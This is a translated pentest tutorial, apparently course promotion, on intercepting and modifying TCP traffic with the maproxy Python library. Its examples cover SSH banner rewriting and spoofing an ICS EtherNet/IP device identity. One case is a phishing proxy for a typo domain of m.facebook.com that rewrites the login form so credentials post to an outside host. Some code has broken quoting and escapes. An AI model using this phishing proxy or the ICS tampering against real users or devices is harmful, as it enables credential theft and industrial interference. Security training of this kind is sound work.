Network data processing on the fly

Translation of the article prepared in advance of the start of the course “Pentest. Penetration Testing Practice.


annotation

Various types of security assessments, from regular penetration testing and Red Team operations to hacking IoT / ICS devices and SCADA, mean working with binary network protocols, that is, in essence, intercepting and modifying network data between the client and the target. Sniffing network traffic is not a difficult task, since we have tools such as Wireshark, Tcpdump or Scapy, however, modification seems to be a more time-consuming task, since we will need a unique interface for reading network data, filtering it, changing it on the fly and sending back to the target host in almost real time. In addition, it would be ideal if such a tool could automatically work with several parallel connections and had the ability to customize using scripts.

Once I discovered a tool called maproxyThe documentation quickly made me realize that maproxy – just what I need. This is a fairly simple, versatile, and easy to configure TCP proxy. I tested this tool on several fairly complex applications, including ICS devices (which generate many packages) to find out if it can work with many parallel connections, and the tool performed well.

This article will introduce you to the processing of network data on the fly with maproxy.

Overview

Tool maproxy based on Tornado, a popular and advanced asynchronous Python network framework.

In general, it can work in several modes:

  • TCP:TCP – unencrypted TCP connections;
  • TCP:SSL and SSL:TCP – with one-way encryption;
  • SSL:SSL – two-way encryption.

It comes as a library. For quick start, you can use sample files that reflect the main library functions:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Case 1 – Simple Bidirectional Proxy

Based on tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Default ProxyServer() takes two arguments – the connection location and the destination port. server.listen() takes one argument – the port for listening to the incoming connection.

Script execution:

# python tcp2tcp.py

In order to conduct the test, we are going to connect to the local SSH server through our proxy script, which listens on 2222/tcp port and connects to the standard port 22/tcp SSH server:

A welcome banner informs us that our sample script has successfully proxied network traffic.

Case 2 – data modification

Another demo script logging_proxy.py Ideal for interacting with network data. The comments in the file describe class methods that you can modify to achieve your goal:

The most interesting here:

  • on_c2p_done_read – to intercept data on the way from the client to the server;
  • on_p2s_done_read – reversed.

Let’s try changing the SSH banner that the server returns to the client:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Run the script:

As you can see, the client was misled, because for it the name of the SSH server was changed to «DumnySSH».

Case 3 – Simple Phishing Web Page

There are an infinite number of uses for this tool. This time, let’s focus on something more practical from the Red Team operations area. Let’s imitate the landing page m.facebook.com and use a custom domain with a deliberate typo, for example, m.facebok.com. For demonstration purposes, simply assume that the domain is registered by us.

We are going to establish an unencrypted network connection with our victims proxy and SSL Stream for the Facebook server (31.13.81.36) In order for this example to work, we need to replace the HTTP host header and implement the correct host name, and we will also disable response compression in order to get easy access to their contents. In the end, we will replace the HTML form so that the login credentials are sent to us, instead of the Facebook servers:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Eventually:

As you can see, we were able to successfully replace the original site.

Case 4 – Ethernet / IP Port

I have been dealing with industrial devices and software (ICS / SCADA) for quite some time, such as programmable controllers (PLC), I / O modules, drives, relays, ladder programming environments, and much more. This case is for those who like industrial stuff. Hacking such solutions involves an active game with network protocols. In the following example, I would like to show how you can modify the ICS / SCADA network traffic.

To do this, you will need the following:

  • Network sniffer, for example, Wireshark;
  • Ethernet / IP or just a SIP device, you can find it using the Shodan service;
  • Our script based maproxy.

To get started, let’s see what a typical identification response from CIP (Common Industrial Protocol) looks like:

The device is identified using the Ethernet / IP protocol, which is an extended version of the Ethernet protocol for industrial purposes; it wraps control protocols such as CIP. We are going to change the highlighted identification name, which can be seen in the screenshot “NI-IndComm for Ethernet” using our proxy script. We could reuse the script logging_proxy.py and similarly modify the class method on_p2s_done_readbecause we want a different identification name to be visible on the client.

The code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

In fact, we asked for device identification twice, the second answer is the original, and the first was modified on the fly.

And the last

In my opinion maproxy a convenient and simple tool, which is also written in Python, so I believe that you can also benefit from its use. Of course, there are more sophisticated tools for processing and changing network data, but they also require more attention and are usually created for a specific use case, for example, Muraena, Modlishka or evilginx for cases similar to the third, or canape for the last case. Anyway, using maproxy You can quickly realize your ideas for intercepting network data, as the sample scripts are very clear.


Testing authentication mechanisms in Windows AD


Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *